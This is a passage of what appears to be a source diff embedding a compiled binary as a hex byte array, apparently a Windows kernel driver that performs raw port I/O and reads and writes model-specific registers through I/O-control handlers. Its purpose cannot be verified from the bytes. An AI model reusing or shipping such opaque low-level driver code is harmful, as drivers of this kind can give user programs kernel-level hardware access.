0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x56, 0x57, 0x50, 0x53, 0x51, 0x52, 0x66, 0x8B, + 0x05, 0x45, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x1D, 0x3C, 0x40, 0x00, 0x00, + 0x66, 0x8B, 0x0D, 0x33, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x15, 0x2A, 0x40, + 0x00, 0x00, 0x66, 0x8B, 0x35, 0x21, 0x40, 0x00, 0x00, 0x66, 0x8B, 0x3D, + 0x18, 0x40, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x66, 0x89, 0x05, + 0x16, 0x40, 0x00, 0x00, 0x66, 0x89, 0x1D, 0x0D, 0x40, 0x00, 0x00, 0x66, + 0x89, 0x0D, 0x04, 0x40, 0x00, 0x00, 0x66, 0x89, 0x15, 0xFB, 0x3F, 0x00, + 0x00, 0x66, 0x89, 0x35, 0xF2, 0x3F, 0x00, 0x00, 0x66, 0x89, 0x3D, 0xE9, + 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x56, 0x57, + 0x50, 0x53, 0x51, 0x52, 0x8B, 0x05, 0xC6, 0x3F, 0x00, 0x00, 0x8B, 0x1D, + 0xBC, 0x3F, 0x00, 0x00, 0x8B, 0x0D, 0xB2, 0x3F, 0x00, 0x00, 0x8B, 0x15, + 0xA8, 0x3F, 0x00, 0x00, 0x8B, 0x35, 0x9E, 0x3F, 0x00, 0x00, 0x8B, 0x3D, + 0x94, 0x3F, 0x00, 0x00, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x05, 0x9D, + 0x3F, 0x00, 0x00, 0x89, 0x1D, 0x93, 0x3F, 0x00, 0x00, 0x89, 0x0D, 0x89, + 0x3F, 0x00, 0x00, 0x89, 0x15, 0x7F, 0x3F, 0x00, 0x00, 0x89, 0x35, 0x75, + 0x3F, 0x00, 0x00, 0x89, 0x3D, 0x6B, 0x3F, 0x00, 0x00, 0x89, 0x05, 0x61, + 0x3F, 0x00, 0x00, 0x5A, 0x59, 0x5B, 0x58, 0x5F, 0x5E, 0xC3, 0x50, 0x53, + 0x51, 0x52, 0x8B, 0x0D, 0x74, 0x3F, 0x00, 0x00, 0x0F, 0x32, 0x89, 0x05, + 0x68, 0x3F, 0x00, 0x00, 0x89, 0x15, 0x5E, 0x3F, 0x00, 0x00, 0x5A, 0x59, + 0x5B, 0x58, 0xC3, 0x50, 0x53, 0x51, 0x52, 0x8B, 0x0D, 0x57, 0x3F, 0x00, + 0x00, 0x8B, 0x05, 0x4D, 0x3F, 0x00, 0x00, 0x8B, 0x15, 0x43, 0x3F, 0x00, + 0x00, 0x0F, 0x30, 0x5A, 0x59, 0x5B, 0x58, 0xC3, 0x55, 0x52, 0x50, 0x53, + 0x56, 0x57, 0x51, 0x48, 0x8B, 0xF1, 0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x06, 0x48, 0x83, 0xE0, 0xFF, 0x48, + 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5E, + 0x04, 0x48, 0x83, 0xE3, 0xFF, 0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x4E, 0x08, 0x48, 0x83, 0xE1, 0xFF, 0x48, + 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x56, + 0x0C, 0x48, 0x83, 0xE2, 0xFF, 0x48, 0xBF, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x48, 0x8B, 0x7E, 0x14, 0x48, 0x83, 0xE7, 0xFF, 0x48, + 0xBD, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x6E, + 0x18, 0x48, 0x83, 0xE5, 0xFF, 0x48, 0x8B, 0x76, 0x10, 0x48, 0x83, 0xE6, + 0xFF, 0xEE, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0xE6, 0xEB, 0x89, 0x35, + 0x74, 0x3E, 0x00, 0x00, 0x5E, 0x50, 0x9C, 0x58, 0x48, 0x83, 0xE0, 0xFF, + 0x88, 0x46, 0x1C, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1D, 0x48, 0xC1, + 0xE8, 0x08, 0x88, 0x46, 0x1E, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x1F, + 0x58, 0x88, 0x06, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x01, 0x48, 0xC1, + 0xE8, 0x08, 0x88, 0x46, 0x02, 0x48, 0xC1, 0xE8, 0x08, 0x88, 0x46, 0x03, + 0x88, 0x5E, 0x04, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x05, 0x48, 0xC1, + 0xEB, 0x08, 0x88, 0x5E, 0x06, 0x48, 0xC1, 0xEB, 0x08, 0x88, 0x5E, 0x07, + 0x88, 0x4E, 0x08, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x09, 0x48, 0xC1, + 0xE9, 0x08, 0x88, 0x4E, 0x0A, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x0B, + 0x88, 0x56, 0x0C, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0D, 0x48, 0xC1, + 0xEA, 0x08, 0x88, 0x56, 0x0E, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x0F, + 0x8B, 0x15, 0xEE, 0x3D, 0x00, 0x00, 0x88, 0x56, 0x10, 0x48, 0xC1, 0xEA, + 0x08, 0x88, 0x56, 0x11, 0x48, 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x12, 0x48, + 0xC1, 0xEA, 0x08, 0x88, 0x56, 0x13, 0x8B, 0xCF, 0x88, 0x4E, 0x14, 0x48, + 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x15, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, + 0x16, 0x48, 0xC1, 0xE9, 0x08, 0x88, 0x4E, 0x17, 0x5F, 0x5E, 0x5B, 0x58, + 0x5A, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x7C, 0x24, 0x20, 0x55, 0x48, 0x8B, 0xEC, 0x48, 0x83, + 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x9F, 0x3D, 0x00, 0x00, 0x48, 0x33, 0xC4, + 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, 0xFA, + 0x0F, 0x85, 0x96, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, + 0x85, 0x8B, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, + 0x70, 0x2D, 0x00, 0x00, 0x83, 0x65, 0xDC, 0x00, 0x83, 0x65, 0xE0, 0x00, + 0x83, 0x65, 0xE4, 0x00, 0x83, 0x65, 0xE8, 0x00, 0x83, 0x65, 0xEC, 0x00, + 0x83, 0x65, 0xF0, 0x00, 0x83, 0x65, 0xF4, 0x00, 0xC7, 0x45, 0xD8, 0x3E, + 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, + 0x4B, 0x12, 0x0F, 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, + 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0xE8, 0x1A, 0xFE, + 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0x28, 0x2D, 0x00, 0x00, + 0xF7, 0x45, 0xD8, 0x00, 0xFF, 0x00, 0x00, 0x75, 0x14, 0x0F, 0xB7, 0x45, + 0xE8, 0x66, 0x89, 0x43, 0x16, 0x33, 0xC0, 0x48, 0xC7, 0x47, 0x38, 0x34, + 0x00, 0x00, 0x00, 0xEB, 0x0C, 0xB8, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, + 0xE8, 0x1B, 0x1B, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, + 0x5B, 0x20, 0x49, 0x8B, 0x7B, 0x28, 0x49, 0x8B, 0xE3, 0x5D, 0xC3, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xBA, 0x3C, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF1, 0x49, 0x8B, 0xD8, 0x48, + 0x8D, 0x0D, 0xDE, 0x23, 0x00, 0x00, 0x48, 0x8B, 0xFA, 0xE8, 0x1E, 0x1B, + 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x75, 0x7B, 0x83, 0x7B, 0x08, 0x34, + 0x75, 0x75, 0x48, 0x8B, 0x4E, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, + 0x5F, 0x18, 0x33, 0xF6, 0x48, 0x89, 0x77, 0x38, 0xFF, 0x15, 0x82, 0x2C, + 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, + 0x75, 0xEC, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, + 0x0F, 0xB7, 0x43, 0x16, 0x89, 0x45, 0xDC, 0x0F, 0xB7, 0x4B, 0x12, 0x0F, + 0xB7, 0x43, 0x10, 0x03, 0xC8, 0x89, 0x4D, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, + 0x0F, 0xB7, 0x03, 0x89, 0x45, 0xE4, 0x0F, 0xB7, 0x43, 0x14, 0x89, 0x45, + 0xE8, 0xE8, 0x32, 0xFD, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, + 0x40, 0x2C, 0x00, 0x00, 0x8B, 0x45, 0xD8, 0x25, 0x00, 0xFF, 0x00, 0x00, + 0xF7, 0xD8, 0x1B, 0xC0, 0x25, 0x01, 0x00, 0x00, 0xC0, 0xEB, 0x05, 0xB8, + 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, + 0x44, 0x1A, 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, + 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8B, + 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0xE0, 0x3B, 0x00, 0x00, + 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x48, 0x8B, 0xF9, 0x49, 0x8B, + 0xD8, 0x48, 0x8D, 0x0D, 0xE4, 0x22, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0xE8, + 0x44, 0x1A, 0x00, 0x00, 0x83, 0x7B, 0x10, 0x34, 0x0F, 0x85, 0x38, 0x01, + 0x00, 0x00, 0x83, 0x7B, 0x08, 0x34, 0x0F, 0x85, 0x2E, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x4F, 0x40, 0x48, 0x8D, 0x55, 0xC0, 0x48, 0x8B, 0x7E, 0x18, + 0x45, 0x33, 0xF6, 0x4C, 0x89, 0x76, 0x38, 0xFF, 0x15, 0x9F, 0x2B, 0x00, + 0x00, 0x4C, 0x89, 0x75, 0xE0, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, + 0xE8, 0x4C, 0x89, 0x75, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, + 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x6C, 0xFC, 0xFF, 0xFF, + 0xBA, 0x00, 0xFF, 0x00, 0x00, 0x85, 0x55, 0xD8, 0x74, 0x14, 0x48, 0x8D, + 0x4D, 0xC0, 0xFF, 0x15, 0x70, 0x2B, 0x00, 0x00, 0xB8, 0x01, 0x00, 0x00, + 0xC0, 0xE9, 0xD9, 0x00, 0x00, 0x00, 0x8B, 0x4D, 0xE0, 0x8B, 0xC1, 0x0B, + 0xC2, 0x81, 0xC9, 0xFF, 0x00, 0x00, 0x00, 0xC1, 0xE8, 0x08, 0x3B, 0xC1, + 0x77, 0xD8, 0x4C, 0x89, 0x75, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, + 0x75, 0xEC, 0xBB, 0x01, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, + 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, + 0x07, 0x89, 0x45, 0xE4, 0xE8, 0x0F, 0xFC, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, + 0x83, 0xE0, 0x05, 0x83, 0xF8, 0x05, 0x74, 0x3D, 0x4C, 0x89, 0x75, 0xE4, + 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x75, 0xEC, 0xBB, 0x02, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x5D, 0xDC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, + 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, 0xE8, 0xD9, + 0xFB, 0xFF, 0xFF, 0x8B, 0x45, 0xE8, 0x83, 0xE0, 0x05, 0x89, 0x45, 0xE8, + 0x83, 0xF8, 0x05, 0x0F, 0x85, 0x65, 0xFF, 0xFF, 0xFF, 0x4C, 0x89, 0x75, + 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, 0xB7, 0xC3, 0x89, 0x45, 0xDC, 0x4C, + 0x89, 0x75, 0xEC, 0x44, 0x89, 0x75, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, + 0x00, 0x00, 0x44, 0x89, 0x75, 0xE0, 0x0F, 0xB7, 0x07, 0x89, 0x45, 0xE4, + 0xC7, 0x45, 0xE8, 0x07, 0x00, 0x00, 0x00, 0xE8, 0x94, 0xFB, 0xFF, 0xFF, + 0x48, 0x8D, 0x4D, 0xC0, 0x66, 0x89, 0x5F, 0x16, 0xFF, 0x15, 0x9E, 0x2A, + 0x00, 0x00, 0x33, 0xC0, 0x48, 0xC7, 0x46, 0x38, 0x34, 0x00, 0x00, 0x00, + 0xEB, 0x05, 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, + 0x33, 0xCC, 0xE8, 0xA9, 0x18, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, + 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73, 0x38, 0x49, 0x8B, 0xE3, 0x41, + 0x5E, 0x5F, 0x5D, 0xC3, 0x48, 0x89, 0x5C, 0x24, 0x18, 0x48, 0x89, 0x74, + 0x24, 0x20, 0x55, 0x57, 0x41, 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, + 0xEC, 0x48, 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x3C, 0x3A, 0x00, 0x00, + 0x48, 0x33, 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x45, 0x33, 0xFF, 0x41, 0x83, + 0x78, 0x10, 0x34, 0x41, 0x0F, 0xB7, 0xFF, 0x0F, 0x85, 0x13, 0x01, 0x00, + 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, 0x0F, 0x85, 0x08, 0x01, 0x00, 0x00, + 0x48, 0x8B, 0x49, 0x40, 0x4C, 0x8B, 0x72, 0x18, 0x4C, 0x89, 0x7A, 0x38, + 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0x15, 0x0A, 0x2A, 0x00, 0x00, 0x4C, 0x89, + 0x7D, 0xD8, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xE0, 0x4C, 0x89, + 0x7D, 0xE8, 0x4C, 0x89, 0x7D, 0xF0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, + 0xE4, 0x48, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0xE8, 0xD2, 0xFA, + 0xFF, 0xFF, 0xB8, 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x45, 0xD8, 0x74, + 0x14, 0x48, 0x8D, 0x4D, 0xC0, 0xFF, 0x15, 0xD5, 0x29, 0x00, 0x00, 0xB8, + 0x01, 0x00, 0x00, 0xC0, 0xE9, 0xB0, 0x00, 0x00, 0x00, 0x0F, 0xB6, 0x75, + 0xE0, 0x85, 0xF6, 0x74, 0xE4, 0x41, 0xBC, 0x01, 0x00, 0x00, 0x00, 0x41, + 0x0F, 0xB7, 0xDC, 0x0F, 0xB7, 0xC3, 0x3B, 0xC6, 0x77, 0x48, 0x4C, 0x89, + 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x4C, 0x89, 0x7D, 0xEC, 0x44, 0x89, + 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x89, 0x45, 0xDC, + 0x44, 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xE8, + 0x70, 0xFA, 0xFF, 0xFF, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, 0xFD, 0xFF, 0x00, + 0x00, 0x66, 0x83, 0xE8, 0x09, 0x66, 0x85, 0xC1, 0x75, 0x03, 0x41, 0x8B, + 0xFC, 0x66, 0x41, 0x03, 0xDC, 0x66, 0x85, 0xFF, 0x74, 0xB1, 0x66, 0x85, + 0xFF, 0x74, 0x37, 0x4C, 0x89, 0x7D, 0xE4, 0x48, 0x8D, 0x4D, 0xD8, 0x0F, + 0xB7, 0xC3, 0x41, 0x2B, 0xC4, 0x4C, 0x89, 0x7D, 0xEC, 0x89, 0x45, 0xDC, + 0x44, 0x89, 0x7D, 0xF4, 0xC7, 0x45, 0xD8, 0x3F, 0x11, 0x00, 0x00, 0x44, + 0x89, 0x7D, 0xE0, 0x41, 0x0F, 0xB7, 0x06, 0x89, 0x45, 0xE4, 0xC7, 0x45, + 0xE8, 0x0B, 0x00, 0x00, 0x00, 0xE8, 0x16, 0xFA, 0xFF, 0xFF, 0x48, 0x8D, + 0x4D, 0xC0, 0xFF, 0x15, 0x24, 0x29, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, + 0xB8, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, + 0xE8, 0x37, 0x17, 0x00, 0x00, 0x4C, 0x8D, 0x5C, 0x24, 0x60, 0x49, 0x8B, + 0x5B, 0x40, 0x49, 0x8B, 0x73, 0x48, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, + 0x5E, 0x41, 0x5C, 0x5F, 0x5D, 0xC3, 0xCC, 0xCC, 0x40, 0x53, 0x48, 0x83, + 0xEC, 0x20, 0x48, 0x8B, 0xD9, 0x4C, 0x8D, 0x4C, 0x24, 0x40, 0x4C, 0x8B, + 0xC1, 0xBA, 0x50, 0xC3, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0xFF, 0x1C, 0x00, + 0x00, 0xE8, 0x36, 0x02, 0x00, 0x00, 0x85, 0xC0, 0x78, 0x36, 0x48, 0x8B, + 0x54, 0x24, 0x40, 0x48, 0x8D, 0x0D, 0xCA, 0x02, 0x00, 0x00, 0x4C, 0x8B, + 0x42, 0x40, 0x49, 0x83, 0x60, 0x18, 0x00, 0x49, 0x89, 0x50, 0x10, 0x48, + 0x89, 0x4B, 0x70, 0x48, 0x89, 0x8B, 0x80, 0x00, 0x00, 0x00, 0x48, 0x89, + 0x8B, 0xE0, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x48, 0x0B, 0x00, 0x00, + 0x48, 0x89, 0x4B, 0x68, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, + 0x83, 0xEC, 0x20, 0x48, 0x8B, 0x7A, 0x18, 0x48, 0x8D, 0x0D, 0xBE, 0x21, + 0x00, 0x00, 0x48, 0x83, 0x62, 0x38, 0x00, 0x48, 0x8B, 0xF2, 0x8B, 0x1F, + 0x8B, 0xD3, 0xE8, 0xD5, 0x16, 0x00, 0x00, 0x48, 0x8B, 0xD7, 0x8B, 0xCB, + 0xE8, 0x1B, 0x11, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x08, 0x48, 0xC7, 0x46, + 0x38, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x33, 0xC0, + 0x48, 0x8B, 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xC3, 0xCC, + 0x48, 0x83, 0xEC, 0x28, 0x41, 0x8B, 0x40, 0x10, 0x48, 0x83, 0x62, 0x38, + 0x00, 0x48, 0x8B, 0x4A, 0x18, 0x83, 0xF8, 0x04, 0x73, 0x13, 0x48, 0x8D, + 0x0D, 0x87, 0x21, 0x00, 0x00, 0xE8, 0x8A, 0x16, 0x00, 0x00, 0xB8, 0x9A, + 0x00, 0x00, 0xC0, 0xEB, 0x13, 0x48, 0x8B, 0x09, 0xE8, 0x2F, 0x11, 0x00, + 0x00, 0xF6, 0xD8, 0x1B, 0xC0, 0xF7, 0xD0, 0x25, 0x0D, 0x00, 0x00, 0xC0, + 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x41, + 0x56, 0x48, 0x83, 0xEC, 0x20, 0x4C, 0x8B, 0x72, 0x18, 0x48, 0x8D, 0x0D, + 0x80, 0x21, 0x00, 0x00, 0x48, 0x8B, 0xF2, 0x33, 0xFF, 0x48, 0x89, 0x7A, + 0x38, 0x49, 0x8B, 0x1E, 0x48, 0x8B, 0xD3, 0xE8, 0x34, 0x16, 0x00, 0x00, + 0x48, 0x8B, 0xCB, 0xE8, 0x20, 0x11, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, + 0x74, 0x1B, 0x8B, 0xD0, 0x48, 0x8D, 0x0D, 0x65, 0x21, 0x00, 0x00, 0xE8, + 0x18, 0x16, 0x00, 0x00, 0x41, 0x89, 0x1E, 0x48, 0xC7, 0x46, 0x38, 0x04, + 0x00, 0x00, 0x00, 0xEB, 0x05, 0xBF, 0x0D, 0x00, 0x00, 0xC0, 0x48, 0x8B, + 0x5C, 0x24, 0x30, 0x8B, 0xC7, 0x48, 0x8B, 0x7C, 0x24, 0x40, 0x48, 0x8B, + 0x74, 0x24, 0x38, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3, 0xCC, 0xCC, + 0x48, 0x89, 0x5C, 0x24, 0x18, 0x55, 0x56, 0x57, 0x48, 0x8B, 0xEC, 0x48, + 0x83, 0xEC, 0x60, 0x48, 0x8B, 0x05, 0x56, 0x37, 0x00, 0x00, 0x48, 0x33, + 0xC4, 0x48, 0x89, 0x45, 0xF8, 0x41, 0x83, 0x78, 0x10, 0x34, 0x48, 0x8B, + 0xFA, 0x0F, 0x85, 0x92, 0x00, 0x00, 0x00, 0x41, 0x83, 0x78, 0x08, 0x34, + 0x0F, 0x85, 0x87, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x40, 0x33, 0xF6, + 0x48, 0x8B, 0x5A, 0x18, 0x48, 0x89, 0x72, 0x38, 0x48, 0x8D, 0x55, 0xC0, + 0xFF, 0x15, 0x26, 0x27, 0x00, 0x00, 0x48, 0x89, 0x75, 0xDC, 0x48, 0x8D, + 0x4D, 0xD8, 0x48, 0x89, 0x75, 0xE4, 0x48, 0x89, 0x75, 0xEC, 0x89, 0x75, + 0xF4, 0xC7, 0x45, 0xD8, 0x3E, 0x11, 0x00, 0x00, 0x0F, 0xB7, 0x43, 0x16, + 0x89, 0x45, 0xDC, 0xC7, 0x45, 0xE0, 0x06, 0x00, 0x00, 0x00, 0x0F, 0xB7, + 0x03, 0x89, 0x45, 0xE4, 0xE8, 0xE3, 0xF7, 0xFF, 0xFF, 0x48, 0x8D, 0x4D, + 0xC0, 0xFF, 0x15, 0xF1, 0x26, 0x00, 0x00, 0x0F, 0xB7, 0x45, 0xE8, 0xB9, + 0x00, 0xFF, 0x00, 0x00, 0x66, 0x85, 0x4D, 0xD8, 0x75, 0x0A, 0x66, 0x89, + 0x73, 0x0C, 0x66, 0x89, 0x43, 0x14, 0xEB, 0x0D, 0xB8, 0x00, 0x01, 0x00, + 0x00, 0x66, 0x89, 0x73, 0x14, 0x66, 0x89, 0x43, 0x0C, 0x48, 0xC7, 0x47, + 0x38, 0x34, 0x00, 0x00, 0x00, 0x33, 0xC0, 0xEB, 0x05, 0xB8, 0x0D, 0x00, + 0x00, 0xC0, 0x48, 0x8B, 0x4D, 0xF8, 0x48, 0x33, 0xCC, 0xE8, 0xD6, 0x14, + 0x00, 0x00, 0x48, 0x8B, 0x9C, 0x24, 0x90, 0x00, 0x00, 0x00, 0x48, 0x83, + 0xC4, 0x60, 0x5F, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48, 0x83, 0xEC, 0x60, 0x8B, + 0xDA, 0x49, 0x8B, 0xF1, 0x48, 0x8B, 0xD1, 0x49, 0x8B, 0xF8, 0x48, 0x8D, + 0x4C, 0x24, 0x40, 0xFF, 0x15, 0x47, 0x27, 0x00, 0x00, 0x44, 0x8B, 0xCB, + 0x48, 0x89, 0x74, 0x24, 0x30, 0xBB, 0x20, 0x00, 0x00, 0x00, 0xC6, 0x44, + 0x24, 0x28, 0x00, 0x83, 0x64, 0x24, 0x20, 0x00, 0x4C, 0x8D, 0x44, 0x24, + 0x40, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0xFF, 0x15, 0x18, 0x27, 0x00, 0x00, + 0x85, 0xC0, 0x78, 0x44, 0x48, 0x8B, 0x0E, 0x44, 0x8B, 0xC3, 0x33, 0xD2, + 0x48, 0x8B, 0x49, 0x40, 0xE8, 0x63, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x15, + 0x7C, 0x1A, 0x00, 0x00, 0x48, 0x8D, 0x4C, 0x24, 0x50, 0xFF, 0x15, 0xF9, + 0x26, 0x00, 0x00, 0x48, 0x8D, 0x54, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, + 0x50, 0xFF, 0x15, 0x81, 0x26, 0x00, 0x00, 0x8B, 0xD8, 0x85, 0xC0, 0x79, + 0x09, 0x48, 0x8B, 0x0E, 0xFF, 0x15, 0x7A, 0x26, 0x00, 0x00, 0x8B, 0xC3, + 0x48, 0x8B, 0x5C, 0x24, 0x70, 0x48, 0x8B, 0x74, 0x24, 0x78, 0x48, 0x83, + 0xC4, 0x60, 0x5F, 0xC3, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, + 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, + 0x54, 0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xEC, 0x30, 0x48, 0x83, 0x62, + 0x38, 0x00, 0x48, 0x8B, 0xE9, 0x48, 0x8B, 0xB2, 0xB8, 0x00, 0x00, 0x00, + 0x48, 0x8B, 0xFA, 0x4C, 0x8B, 0x71, 0x40, 0xBB, 0x02, 0x00, 0x00, 0xC0, + 0x4C, 0x8B, 0x7A, 0x18, 0x8A, 0x06, 0x44, 0x8B, 0x66, 0x10, 0x8B, 0x4E, + 0x08, 0xA8, 0xFD, 0x0F, 0x84, 0x21, 0x03, 0x00, 0x00, 0x3C, 0x0E, 0x0F, + 0x85, 0x1B, 0x03, 0x00, 0x00, 0x44, 0x8B, 0x46, 0x18, 0xB8, 0x00, 0x28, + 0x50, 0xC3, 0x44, 0x3B, 0xC0, 0x0F, 0x87, 0x21, 0x02, 0x00, 0x00, 0x0F, + 0x84, 0xF2, 0x01, 0x00, 0x00, 0xB8, 0x68, 0x0E, 0x50, 0xC3, 0x44, 0x3B, + 0xC0, 0x0F, 0x87, 0xB4, 0x00, 0x00, 0x00, 0x0F, 0x84, 0x9E, 0x00, 0x00, + 0x00, 0x41, 0x81, 